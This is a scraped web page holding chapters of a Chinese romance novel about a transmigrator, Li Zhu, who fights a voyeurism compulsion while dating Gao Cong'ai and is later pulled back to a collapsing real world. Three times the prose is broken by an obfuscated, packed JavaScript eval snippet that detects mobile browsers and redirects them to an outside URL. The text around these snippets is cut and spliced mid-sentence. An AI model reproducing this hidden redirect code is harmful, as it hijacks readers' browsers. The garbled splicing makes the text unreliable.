高从霭眸色很深,要很努力才能忍住不颤抖。 好想咬他。 咬他的脖子,他的脸,他的鼻尖、耳垂……每个部位。 沉浸在初恋快乐中的李株忽然僵住,他戳了戳高从霭的胸口,“喂,收着点,我们俩才刚谈,进展不能太快。” 高从霭:“我难受。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16504802|182422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你难受别跟我说啊! 李株又要冒烟了,脚指头抓地,“那你去卫生间吧。” 高从霭没有半点羞耻心,看了眼右手边,“不能去房间吗?房间更安全。” 李株想了想。 沈姐早起去市场采购,半路杀回来的可能性很大。 可是房间的话,又不可能坐在郎峰的床上,如果是他的床……李株臊得慌。 小声说:“忍一忍行吗?” 皮肤黝黑的青年向来横冲直撞,行事作风爽利,突然害羞成这样,高从霭只觉得可爱,心理上的饥饿感更加强烈。 低头咬住李株的嘴唇,发狠的亲吻。 力道很重,传递给李株的却是深沉的渴望和爱。 他双手环住男人的后背,一边亲吻一边抚弄,渐渐地,不只是高从霭,就连李株自己也有了感觉。 要命,他怎么变成这样! 意识到有走火的风险,李株急忙撒手,半强势的把人推进房间。 自己则进卫生间洗脸冷静。 半小时后,两人重新回到沙发,狗血电视已经结束,正在播放广告。 李株喝了口水,眼睛瞄了一下高从霭的手。 那只手一点点伸过来,压在他的手背上。骨节分明的手指挤入他的指缝,牢牢扣紧。 大概刚起过色心的缘故,明明是一个简单的握手,李株却品出几分涩情。 高从霭靠过来,脑袋压在李株肩上,“好喜欢你。” 李株声如蚊呐,“我,我也是。” 高从霭黏糊糊的,脑袋在李株肩头蹭了蹭,又去亲他的耳垂。 两人在家里腻歪了一上午,担心真的走火,时间一到十一点半,李株就提议出门吃午饭。 家是不能待了,有危险。 下了楼,高从霭替李株打开车门,弯腰探进去,扯过安全带替他系上。 李株从来没有被人这样照顾过,心脏被暖流充盈,沉甸甸的。 他舔了下唇,伸长脖子在高从霭脸上叭了一口。 午餐吃的西餐,李株一个人吃了两份牛排,高从霭的食欲不强,吃饭更像做任务。 饭后两人沿着江边散步。 今天是周六,沿江步道上的人不少,两人与人群擦肩而过,两只自然垂落的手很容易碰到。 不知道是高从霭有意,还是无意的,多碰几次后,李株索性直接抓住他的手。 “想牵就牵,别磨叽。” “我怕你不想被其他人看到。”如果青年不愿意曝光,他可以暂时委屈自己,藏到见不得光的地方。 “有啥好怕的。”李株道,“我跟他们又不会认识,就算认识也无所谓。” 这份豁达和坚定,令高从霭动容。 怎么办,又想亲了。 这个人身上的每个部位,脸上的每个表情,说出的每个字,都让他觉得可爱。 世界上怎么会有这么合他心意的人。 两人手牵手,沿着江边压马路,贴在一起的掌心全是汗水。 路过电影院的时候,随机选了一部电影看。 这一天李株过得充实又甜蜜,晚上吃完饭被送回来的时候恋恋不舍,为了堵郎峰酸溜溜的嘴巴,他还特意买了卤味。 没成想,还是没能堵住。 郎峰啃着他买的鸡爪,阴阳怪气,“难怪不想上班,原来是跟人出去逍遥了。” “再逼逼就把吃下去的吐出来。”李株白他一眼。 郎峰拎起食品袋放到另一边,“说了好是给我买的。” 李株冷笑,“我随时可以反悔。” “你不讲道理!”郎峰抗议。 想起他哥以前暗恋庄恒川的样子,郎峰眼珠子一转,“你们今天去哪里约会了。” “就逛了下江边,看了一场电影。” “……”果然,一提到喜欢的人,他哥就会换一副面孔。 郎峰好气又好笑,忽然面色一凛,“你不会犯老毛病吧?” “什么?”李株慢半拍想起他说的是原主的偷窥癖,自信道,“放心,不可能。” 偷窥癖不是无时无刻想要偷窥,需要触发点。 当初在高家潜伏的时候犯过,源于对高从俞的好奇,不严重,很轻微。 现在任务已经完成,偷窥癖会和人设限制一样逐渐减轻,更加不可能犯了。 夜里,李株被狠狠打脸。 38.返回 晚上十点,李株终于摆脱好兄弟的唠叨,躺在床上跟高从霭发消息。 高从霭对他的消息秒回,可是上一条消息发过去,一直没有音信。 李株算了下时间,傍晚分开前,他叮嘱高从霭回家晚上要好好睡觉,可以早点上床酝酿睡意。 如果对方有按照他说的做,没回复可能是因为聊到一半睡着了。 可是放下手机没多久,他就再次拿起。 高从霭觉轻,手机一震动就会醒,既然醒了就不可能不回消息。 要是在身边就好了,就不会想这么多了。 李株第二次放下手机,伴随着一口叹气。 对面床抱着手机打游戏的郎峰觑他一眼,抿了抿唇。 他在心里默数到十,他哥第三次拿起手机。 郎峰草草结束战斗,皱起眉头。 “你拿了手机又放下干嘛呢。” “不干嘛。”李株心虚,正如好兄弟所说,他有犯病征兆。 随着高从霭不回消息的时间延长,李株心中生出了一棵树。 那棵树还是小小的树苗,根系在悄然生长,越过发消息或者致电追问,让李株只想亲自跑去高从霭家看一看,瞧瞧他到底在做什么。 那暗戳戳想搞事的样子,郎峰太熟悉了。 他迅速走过去,“你是不是犯病了。” “整天疑神疑鬼,我最大的病就是没把你脑子里的水抽了。”李株嘴上越厉害,心就越虚。 是出于本能的自我隐藏。 郎峰抱着手臂看他,“千万要忍住,别把人吓跑了。” 李株张了张嘴,放弃挣扎。 半晌,黑着脸“嗯”了一声。 丸辣,被好兄弟神预言成功了。 好想去高从霭家。 他还没见过高从霭睡着的样子,高从霭睫毛那么长,闭眼安睡的时候,睫毛一定安静伏着。 他的呼吸会变得很轻,或许还会像小孩那样,将合在一起的两只手枕在脸下。 脑海不可抑制的想象出各种画面。 那棵名为偷窥癖的树,正在茁壮成长。 “统哥,我要怎么办。”李株心里苦,拉着系统吐槽,“我不想当偷窥狂。” 365:“原主的偷窥癖源于对庄恒川的喜欢,你的偷窥癖源于对高从霭的喜欢,除非你能放弃这份喜欢。” 放弃是不可能放弃的。 生活中多的是人有怪癖,李株只是其中一个,努力克服就好了。 于是他第四次拿起手机,让郎峰拉自己进房间双排。 两分钟,郎峰就受不了了,“你打到自己人了!” 三分钟后,“哥,捡装备啊。” 四分钟后,“你怎么又死了!” 第五分钟,好兄弟退出队伍,“我还是继续当单排孤狼吧。” 李株:“……” 怎么办,根本静不下来。 没有人帮自己分散注意力,李株心里的渴求成倍增长。 不如去看一眼吧,看一眼就回来。 等郎峰听见响动的时候,他哥已经在换下背心,正在穿T恤准备出门。 “你去哪儿?!” “出去买点吃的。”李株含糊说完就走。 他前脚一走,后脚郎峰扑到窗口。 他哥骑着电瓶车从小卖部门前经过,要去哪不言而喻。 李株骑车出门没多久,就收到了高从霭的消息。 刚才律师去了家里,让他签了两份后续文件,所以才没有及时回复。 李株回了一个“知道了”的可爱表情,继续骑车。 高从霭的新家在市中心,搬家那天他带李株和郎峰去过,也跟保安打过招呼。 李株被顺利放行,按照记忆来到某栋顶层。 一梯一户的格局,出了电梯往右拐就是高从霭家。 李株走过灯光明亮的走廊,按响门铃。 见到思念的脸,高从霭惊喜的睁大眼睛。似乎不信青年会突然跑来找自己,他低头看了看没有收到回复的手机,发了一个句号过去。 听到李株的手机铃声,他才确定不是幻觉。 “是给我的惊喜吗?”他伸手抱住青年,脸埋在他的脖子上,用力吸了一口气。 总算是有实感了。 夏天还没过去,李株骑了一路,脖子上全是冰凉的汗水。 高从霭一点也不嫌弃,甚至想伸出舌头舔一口。 怕李株骂不讲卫生,他没有那么做,只是紧紧抱了会儿,把人拽进玄关。 厚重的门合上,将内外隔绝成两个世界。 高从霭把人抵在玄关柜子上,到底没忍住,嘴在青年的脖子上轻轻啄了一口。 李株感到痒,缩了缩脖子。 高从霭抵着他的额头,“我好高兴。” 见到了人,心里的瘾有所缓解。 李株:“我也是。” 墙上的挂钟时针走到了十一半点,这个点李株不可能再回去,两人默契地默认这一现实。 高从霭打从一开始,就故意没有预留客房。 他把人拉进主卧,“客房没有床,你不介意跟我一起睡吧?” 李株红着脸摇摇头,脑子里像弥漫着浓雾,不太清醒。 从离开家门到见到高从霭,他始终被一股冲动操控,方才找回一点理智。 高从霭摸摸他湿漉漉的额头,“要再去洗个澡吗?” 李株摇了摇头,又用力点头。 他身上全是汗,不洗哪好意思躺高从霭的床。 高从霭去衣帽间,找出一件自己穿过的T恤和一条短裤,又在下面的柜子里找出一条新内裤。 李株抱着衣服进到卫生间,拧开花洒任凭水流到地上。 他背靠着洗手台,整个人像被熏蒸过。 确定恋爱第一天,他就急匆匆地跑到男朋友家留宿……高从霭会不会以为他在暗示什么? “统哥,我还没做好准备。” “建议宿主可以洗完澡就走。”系统说,“不要做任何停留或者暧昧提示。” 李株点点头,这才脱衣服洗澡。 高从霭个子高,衣服的码要大一点,穿到李株身上有些宽松。 他顶着湿润的头发走出去,正纠结该怎么开口回家,就见高从霭拿上睡袍进了卫生间。 擦肩而过时,对方疑惑的回头看他,“怎么了?” “没怎么,你先洗。” 李株告诉自己,等高从霭洗完澡出来就告别。 卫生间是玻璃门,灯光打在门上是模糊的一团,明明什么也看不清,李株却开始想象高从霭洗澡的姿势。 李株:“???” 他两手抱住脑袋,不能再想了。 再想下去,该变态了。 李株在心里极限拉扯,不知什么时候开始抖腿。 水声哗啦,薄肌覆包裹着骨骼,不油腻也不过于瘦弱,水流顺着他的脸往下流淌,滑过利落的下颌骨、脖子、胸膛、腹肌…… 李株两眼发直,腿抖得更加厉害。 他焦躁地舔了下干涸的嘴唇,低头看向不听话的自己。 偷窥癖害死人。 这么想着,身体已经站起来,走到卫生间门口。 就看一眼,看一眼就不会这么难受了。 李株像个瘾君子一样劝慰自己,慢慢蹲下,手指扣住推拉门的边缘拉开。 潮湿的水汽扑面,李株下意识屏住呼吸。 卫生间的格局一目了然,推拉门斜对面是大理石打造的洗手台,洗手台旁边靠窗的位置是浴缸。 浴缸正对面,才是淋浴喷头。 那个位置从李株的角度,看不到全貌。 可是如果继续往前探,一定会被发现的。 不会的不会的,只一眼就退回来,没有人知道。 一定会被发现…… 李株脑子里黑白两只小人打得火热,最终败在心理极度渴求之下,他两手撑着地面,像只猫一样爬进去。 这一幕落在谁的眼里都是惊悚剧情。 高从霭瞥见的时候,也愣了一下,抬手抹了把脸上的水,隔着水汽望向地上的人。 李株没想到他如此敏锐,手足无措的爬起来,“我,我想进来洗个手,不小心摔了一跤。” 高从霭遮挡身体,点了点头,继续冲洗。 沐浴露被挤出来,涂抹到身上,整个卫生间飘起馥郁的花香。 李株低头吸收,呼吸着甜腻的香气,余光瞥见白色的泡沫顺着水流入下水口。 目光再略微一转,便是男人脉络凸起的精瘦脚背。 往上,是线条分明的脚踝,和肌肉紧实的小腿。 高从霭的皮肤本就白,沾湿后如同上等瓷器,李株有种想上手摸的冲动。 他用力拍了下自己的手背,头也不敢回的跑了出去。 高从霭维持着冲洗的姿势,眸光定定落在门口。 忽然,他低头了然地笑了一下。 有些瘾一旦开头,就很难受住。 为了遏制再摸去卫生间,李株不敢继续待在房间。 远离了水声,情绪似乎平复些许。 李株往肚子里灌了很多水,两手撑在厨房中岛台上发呆。听到脚步,他抬起头来,看到上身半敞着浴袍的高从霭走来。 男人皮肤白得发光,头发乌黑,嘴唇红润。 “我还有点事要去书房处理,你累了可以先休息,或者在客厅看电视。” 高从霭说完,指腹压上青年的唇角,轻轻蹭过。 将那滴悬挂的水舔入自己口中。 李株:“……” 盯着青年滚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他挣扎许久,终究还是撑起上半身,借着微薄的光观察高从霭的睡脸。 夜间、睡眠中、高从霭的卧室,三个因素叠加在一起,给这份偷看带来更多的刺激。 李株察觉自己的呼吸频率变快,体温身高,身体有了异样。 好想。 为了控制冲动,李株几乎要咬碎后槽牙,身体近乎颤抖。 再这样下去,一定会把高从霭吵醒的。 李株动作轻缓,试图从高从霭身上跨过去,去卫生间冷静冷静。 突然,脚踝一紧,一只大手紧紧攥住他。 高从霭睁开的眼里没有丝毫睡意,他坐起来,掌心贴着青年的脚踝,来到小腿。 “去哪?”他像个虔诚的信徒,仰头望着自己的爱人,语气却很强势。 “我……”李株脑海一片空白。 以往的经验没有告诉他,半夜起床做坏事,被人抓包该怎么办。 高从霭伸手搂住他,李株顺着那股力量坐下来,听到高从霭轻声说: 帮你。 说好交往后要慢慢来,还是食言了。 两人从单方面的帮忙,变成互助,最后防线被冲破,彻底越界。 夜深了,城市灯火逐一熄灭。 房间里的光线消失大半,两道快被黑暗吞没的人影紧紧依偎。 汗津津的李株趴在床上,累成了一条咸鱼。 高从霭吃喝结束却不知满足,克制地揽着青年的腰,亲吻他的额角。 李株困得不行,两眼一闭,陷入了沉睡。 高从霭去卫生间拧了湿毛巾,空气中传来“滋滋”的电流声,他警觉地朝右手方看去,墙壁扭曲成了一个漩涡。 他立即返回房间,床上的青年脸色苍白如纸。 “徐晓哲!”高从霭扑过去,抓到一片冰凉。 而刚刚还有呼吸的人,变成一具毫无生气的尸体。 那次险些被水鬼溺死,命悬一线间,高从霭知道了自己并非这个世界的人,徐晓哲和他一样来自另一个高维世界。 没了灵魂的“徐晓哲,只是一具破败的躯壳。 高从霭冷静得可怕,毫无眷恋地松开人,走到阳台打开窗户。 外界的天空出现了一个巨大的黑洞,他身处的这片钢筋丛林正在崩塌,碎片被尽数吸入黑洞。 “本系统检测到宿主被未知数据感染,需要立即召回。” “请宿主李株做好传送准备,宿主已陷入昏睡,本系统将自动开启传送。” …… “滴滴滴,传送成功。” 39.现实世界的变故 桌上的闹铃响了,李株困得睁不开眼,两条手臂伸出被窝伸了个舒服的懒腰。 手碰到一个毛茸茸的东西,他浑身一僵。 睁开眼后的第一个画面,是头顶洁白的天花板,规整的圆形灯罩上有一个爬虫留下的小黑点。 李株早看小黑点不爽了,正准备任务结束后,大扫除清理掉。 等等,任务还没有结束,他不可能回到自己家! 李株翻身坐起,四周的每一个摆设,都是他再熟悉不过的。 还有刚刚触碰到的抱抱熊玩具,那是他上次任务结束,去电玩城抓娃娃奖励自己的。 “统哥,我怎么回来了?” 365和宿主深度绑定,只要不从管理局离职,会一直存在于李株的意识中。 “本系统检测到宿主被未知数据入侵,自动开启保护送回程序。”365汇报,“不过请宿主放心,目前我们已经完全脱离小世界。” 李株不记得自己被什么未知数据入侵过,倒是和高从霭来了几个回合,身上沾满了彼此的味道。 努力定住心神,他快速走到穿衣镜前。 脸和徐晓哲的脸只有五分相似,身材更干瘪。 他真的回来了。 “高从霭呢?”李株说话的声音颤抖。 365沉默着。 “说话!”李株强忍住怒火,事情发生得太突然,他没来得及和高从霭好好告别。 如果对方发现他猝死…… 李株面色苍白,胸口像压着一块石头,沉重得他喘不过气。 他蹲到地上,手揪着衣领急促呼吸,“我还能回去吗?” 小世界和现实世界只有维度差异,其余没什么差别。 生活在那个世界的每一个人,都是活生生,有血有肉的人。他离开了,时间不会定格,世界继续运行。 而活下来的高从霭一定会很难过。 还有郎峰。 要是发现他哥失踪了,他要怎么办?他只有徐晓哲一个亲人。 “365,我要回去。”李株的手背蹭过眼角,留下些许湿润。 他站起来,走到衣帽架前取了外套,打算去局里打申请。 “你回不去了。”系统道。 “你之前答应我会帮我申请留在小世界的!”李株大喊道,眼眶通红。 明明睡着之前,他还听见高从霭贴着他的耳朵说喜欢。 为什么睁眼醒来,一切都变了。 “我是答应过,但是……”365拥有情感和情绪模块,但理智是他的基础设定,很少像今天这样表露出犹豫,“但是出了意外。” 李株一言不发立在原地,手指用力掐着掌心。 “你先出去看看吧。”365话说一半,按照宿主的情绪,只有现实能让他平静。 李株往下沉了一口气,胸中的郁结半点不散。 他迅速来到阳台,外面的天空阴沉得如同混入水中的墨,太阳被厚重的黑云遮挡,只能看到光晕的轮廓。 “我们的世界遭到未知的黑暗物质入侵,和小世界发生了重叠,目前政府各部门正在努力寻求解决办法。”365严肃警告,“最近也不要外出,等事情解决,我会尝试帮你申请回到上一个小世界。” “重叠是什么意思?”李株问,“小世界的人呢?是不是也会出现在这里?” “还有,黑暗物质是什么?我怎么不知道。” 李株活了22年,从来没听说过这种事情。 365:“事情发生在本次快穿开始,正是因为小世界遭到入侵,才会临时更改任务内容。” 这也是回来后,它才得知的。 本次任务内容是清理负向情绪淤积而成的高危目标,如果这些负向情绪的淤积不是自然发展形成,而是外界干预呢? “高家发生的事,跟黑暗物质有关吗?” “有。”365道,“从我从管理局得到的资料来看,梁小姐会变成厉鬼,正是受到黑暗物质的影响。” 李株蹙眉:“黑暗物质到底是什么?是人吗?还是看不见摸不着的微小粒子?” “你可以去管理局一趟,那里会有答案。” 要想回去,唯一的办法就是解决眼下的混乱。 李株自认不是什么高科技尖端人才,他只能尽可能搞清楚具体发生了什么,如果可以,他愿意出一份微薄之力。 出门前,李株忍不住摸了摸胸口。 想高从霭了。 好在回来后,偷窥癖自动消失,这份想念是积极的、充满温情的。 夹杂的欲念在可控范围内。 管理局上下气氛一派严肃,看到敲门进来的李株,部长揉了揉眉心。 “你感觉怎么样?” “不怎么样,部长,我想回去。”李株期期艾艾地望着对方。 “你的申请365已经发到我邮箱了,还没来得及批复,那就遭到了未知数据的袭击。”部长摘掉眼镜随意放到桌上,朝后靠在椅子上,望向办公桌另一边的青年,“这次任务临时更改有一定的危险性,组织会酌情给予一些补偿。至于回去,我没办法向你保证。” 系统说“回不去”的时候,他没太放在心上。 毕竟它只是辅助系统,相似的话从领导嘴里说出来,无异于是判死刑。 “为什么?”李株的心跌到谷底,意识到自己的语气太过高昂,他抿了下唇,小声说,“跟黑暗物质有关吗?” “是的。”部长起身,“跟我来吧。” 快穿局和物理研究所在同一片区域,两栋大楼由两座连廊连接。 部长刷卡进门,迎面走来一名研究员。 因为已经提前接到电话,研究员直接带两人来到新设立的研究部门。 部门内的工作人员行色匆匆,各个面色如临大敌,俨然遇到了重大难题。 研究员领着两人走到一个空荡荡的玻璃隔离室前。 李株疑惑地看了会儿,“您想让我们看什么?” 研究员指向玻璃后的虚空。 李株凝神,这一次看得更仔细,这才发现,空气中漂浮着某种半透明的细小颗粒。 那些颗粒有规律地在半空中游动。 渐渐地,这群集合在一起的未知物质有了色彩,它们逐渐变化,更加紧密的靠在一起,形成一张脸。 一张和李株身旁的部长,一模一样的脸。 紧接着是脖子、躯干、四肢,那些物质变幻成第二个“部长”。 研究员扶了扶眼镜,语速平缓的解释:“说是物质,其实是一种不同于我们以往所有研究的特殊生物,它们能模拟万物,同时,它们拥有特殊情绪波长和能量磁场,会在潜移默化中影响他人的情绪和能量。” “这些物质不仅仅存在于我们的世界,它们还入侵了万千小世界,扰乱了各个世界的磁场,并形成一个巨大的黑洞,将小世界吸入了现实世界,导致重叠。同时,黑洞的突然出现,也膨胀了我们的世界面积。” 重叠。 李株回想来快穿局的路上,所见过的奇怪景象。 一些熟悉的高楼大厦中,嵌着一些他没见过的建筑。最离谱的是,市中心大楼正对面的巨大广场上,多出来一座小山。 而研究员说过的黑洞,李株没见到,只看到天上布满了奇形怪状的云彩。 如同被狂风暴雨摧残过,有些如同被拉扯过的棉絮,有些如同炸开的碎屑。 直到这一刻,李株才终于切实体会到,这个世界不一样了。 “来的路上,我看到许多不存在于这个世界的奇怪建筑,如果固态物体重叠到了这个世界,那人呢?” “重叠的是整个空间,而非一部分,空间中的人自然也到了我们的世界。”研究员抬起手腕上的操作盘,点击几下调出一项数据。 “这是我们目前所监测到的,来到我们这个世界的小世界居民。” 李株在心里默数,妈呀,后面跟了七个零。 太夸张了。 研究员:“还有什么疑问吗?” “没有了。”李株呆呆的摇头,跟在部长身后慢慢朝外走。 走到连廊中部时,他突然叫住领导:“部长,能帮我找两个人吗?” 部长已经从365的工作汇报中,知道了发生在李株身上的事,不用对方开口,他就猜到李株要找谁。 “郎峰和高从霭是吗,可以。” “谢谢部长。” 部长:“不要高兴得太早,据我得到的小世界数据分析显示,高从霭不是普通人。” —— 路上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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离开局里前,部长给了李株一份资料,上面是目前安置小世界原住民的地址清单。 要知道郎峰有没有来这里,必须挨个找。 李株骑着自己的悬浮小摩托,来到第一个地址。 这里在很早以前是关押危险精神病人的地方,随着科技高度发展,医治精神病就像医治普通重感冒一样,吃特效药就能好。 因为人口太多,每个病房的病床都改成了上下铺,要住十个人。 李株在咨询台等工作人员查找姓名,查找无果后正打算离开,就碰到了快穿局的同事。 同事袁欣兰是一名干练女性,以冷血无情著称,李株与她只是点头之交。 问候过,他将目光落向她身旁的小女孩。 “我女儿。”袁欣兰找到了孩子,心情不错,难得与李株多聊了两句。 “上面目前没找到有效的解决办法,总是把人关起来不人道,如果可以,市民可以暂时收留他们,让他们熟悉新世界,也是为未来做打算。” “未来?他们回不去了吗?”李株注意到,小女孩的脖子上有一条很细的黑线。 “主神花了成百上千年才创造出小世界,要修复绝非一朝一夕。而且,现在还有其他生物在干预……”袁欣兰看得很透彻,也不信局里那些安抚人的话,“其实现在这样挺好。” 现实是世界的总人口很少,几乎每个人都为维持低纬度世界的正常运行而工作。 她低头看着扎着羊角辫,穿着粗布麻衣的小姑娘。 “至少,她能回到我身边。”袁欣兰摸了摸小女孩脖子上的黑线项圈,“不知道这东西,什么时候才能摘掉。” “那是什么?”如果对方不刻意提出,李株还以为是普通颈部装饰。 “内置定位器和麻醉剂。”袁欣兰解释,“重叠进来的小世界居民在这里都是黑户,项圈是为了时刻监视,以防他们违法犯罪。” 李株点点头。 袁欣兰低头对小女孩说:“跟哥哥说再见。” “哥哥再见。” 李株回头望向经过他的女人和小孩。 他之前听同事八卦过,袁欣兰在一次快穿任务中收养了一个古代的小女孩。 看来就是她了。 上面的对黑暗物质的存在如临大敌,李株却觉得很好。 至少,想念的人能团聚。